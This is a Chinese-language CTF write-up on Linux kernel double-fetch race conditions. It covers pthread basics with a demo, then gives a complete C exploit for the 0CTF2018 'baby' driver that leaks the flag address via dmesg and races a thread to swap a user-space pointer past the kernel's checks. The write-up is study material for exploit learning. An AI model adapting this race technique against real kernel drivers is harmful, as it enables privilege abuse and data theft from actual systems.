Double Fetch 从漏洞原理上属于条件竞争漏洞,是一种内核态与用户态之间的数据访问竞争.
pthread_create && pthread_join
1 | NAME |
2 | pthread_create - create a new thread |
3 | |
4 | SYNOPSIS |
5 | #include <pthread.h> |
6 | |
7 | int pthread_create(pthread_t *thread, const pthread_attr_t *attr,void *(*start_routine) (void *), void *arg); |
8 | |
9 | Compile and link with -pthread. |
10 | |
11 | DESCRIPTION |
12 | The pthread_create() function starts a new thread in the calling process. The new thread starts execution by invoking |
13 | start_routine(); arg is passed as the sole argument of start_routine(). |
pthread_create用于创建一个线程函数,成功创建返回0
thread: 指向线程标识符的指针
attr: 设置线程属性
start_routine: 线程函数指针
arg: 线程函数的参数
因为pthread并非Linux系统的默认库,所以GCC编译时需要加上-lpthread参数
1 | NAME |
2 | pthread_join - join with a terminated thread |
3 | |
4 | SYNOPSIS |
5 | |
6 | |
7 | int pthread_join(pthread_t thread, void **retval); |
8 | |
9 | Compile and link with -pthread. |
10 | |
11 | DESCRIPTION |
12 | The pthread_join() function waits for the thread specified by thread to terminate. If that thread has already termi‐ |
13 | nated, then pthread_join() returns immediately. The thread specified by thread must be joinable. |
14 | |
15 | If retval is not NULL, then pthread_join() copies the exit status of the target thread (i.e., the value that the target |
16 | thread supplied to pthread_exit(3)) into the location pointed to by retval. If the target thread was canceled, then |
17 | PTHREAD_CANCELED is placed in the location pointed to by retval. |
18 | |
19 | If multiple threads simultaneously try to join with the same thread, the results are undefined. If the thread calling |
20 | pthread_join() is canceled, then the target thread will remain joinable (i.e., it will not be detached). |
21 | |
22 | RETURN VALUE |
23 | On success, pthread_join() returns 0; on error, it returns an error number. |
pthread_join用于等待一个线程的结束
thread: 等待线程的标识符
retval: 为一个用户定义的指针,它可以用来存储被等待线程的返回值
DEMO:
1 |
|
2 |
|
3 |
|
4 | struct member |
5 | { |
6 | int num; |
7 | size_t *name; |
8 | }; |
9 | void *pthread(void *arg) |
10 | { |
11 | struct member *tmp; |
12 | puts("Start"); |
13 | sleep(2); |
14 | tmp = (struct member*)arg; |
15 | printf("Num:\t%d\n",tmp->num); |
16 | printf("Name:\t%s\n",tmp->name); |
17 | return NULL; |
18 | } |
19 | int main(int argc,char *argv[]) |
20 | { |
21 | pthread_t thread; //线程标识符 |
22 | struct member *mbr; |
23 | mbr = (struct member *)malloc(sizeof(struct member)); |
24 | mbr->num = 1; |
25 | mbr->name ="FMYY"; |
26 | if ((pthread_create(&thread, NULL, pthread, (void*)mbr)) == -1) |
27 | { |
28 | puts("Create Error"); |
29 | return 1; |
30 | } |
31 | sleep(1); //令线程函数先运行 |
32 | puts("Main Continue"); //由于线程函数休眠2s,故main函数先执行 |
33 | if(pthread_join(thread,NULL)) |
34 | { |
35 | puts("Thread Ended"); |
36 | return 0; |
37 | } |
38 | return 0; |
39 | } |
运行结果如下
1 | root@kali:~# ./demo.out |
2 | Start |
3 | Main Continue |
4 | Num: 1 |
5 | Name: FMYY |
6 | root@kali:~# |
0CTF2018-baby
题目简单分析
1.参数为0x6666 则会利用printk打印出flag的地址,可利用dmesg命令查看
2.参数0x1337,且判断输入的指针是否指向用户态数据,数据指针是否指向用户态,传入的结构中len是否等于驱动中flag的长度,然后对flag进行逐字对比,通过则可打印flag,同样用dmesg查看flag
利用分析
1.从驱动中可以直接确定指针中的长度为33,则传入的长度可以确定,同时令传入的结构体中flag地址为驱动中硬编码的flag地址
2.如果创建一个恶意函数进程与main函数进程进行竞争,因为传入的是一个指针,指针结构体中的内容是在用户空间,所以两个线程进争的过程中,在用户态可以修改结构体中的flag指针,当通过第一个范围检测后,另一个进程将flag指针指向了硬编码的flag地址,则可令程序通过对flag逐字对比的检测,从而打印真实的flag地址
1 | // gcc -static exp.c -lpthread -o exp |
2 |
|
3 |
|
4 |
|
5 |
|
6 |
|
7 |
|
8 |
|
9 |
|
10 |
|
11 |
|
12 | |
13 |
|
14 |
|
15 | |
16 | struct attr |
17 | { |
18 | char *flag; |
19 | size_t len; |
20 | }; |
21 | unsigned long long addr; |
22 | int finish =0; |
23 | char buf[LEN+1]={0}; |
24 | void change_attr_value(void *s){ |
25 | struct attr * s1 = s; |
26 | while(finish==0){ |
27 | s1->flag = addr; |
28 | } |
29 | } |
30 | |
31 | int main(void) |
32 | { |
33 | |
34 | |
35 | int addr_fd; |
36 | char *idx; |
37 | |
38 | int fd = open("/dev/baby",0); |
39 | int ret = ioctl(fd,0x6666); |
40 | pthread_t t1; |
41 | struct attr t; |
42 | |
43 | setvbuf(stdin,0,2,0); |
44 | setvbuf(stdout,0,2,0); |
45 | setvbuf(stderr,0,2,0); |
46 | |
47 | system("dmesg > /tmp/record.txt"); |
48 | addr_fd = open("/tmp/record.txt",O_RDONLY); |
49 | lseek(addr_fd,-LEN,SEEK_END); |
50 | read(addr_fd,buf,LEN); |
51 | close(addr_fd); |
52 | idx = strstr(buf,"Your flag is at "); |
53 | if (idx == 0){ |
54 | printf("[-]Not Found Address"); |
55 | exit(-1); |
56 | } |
57 | else{ |
58 | idx+=16; |
59 | addr = strtoull(idx,idx+16,16); |
60 | printf("[+]FLAG Address: %p\n",addr); |
61 | } |
62 | |
63 | t.len = 33; |
64 | t.flag = buf; |
65 | pthread_create(&t1, NULL, change_attr_value,&t); |
66 | for(int i=0;i<TRYTIME;i++){ |
67 | ret = ioctl(fd, 0x1337, &t); |
68 | t.flag = buf; |
69 | } |
70 | finish = 1; |
71 | pthread_join(t1, NULL); |
72 | close(fd); |
73 | system("dmesg | grep flag"); |
74 | return 0; |
75 | } |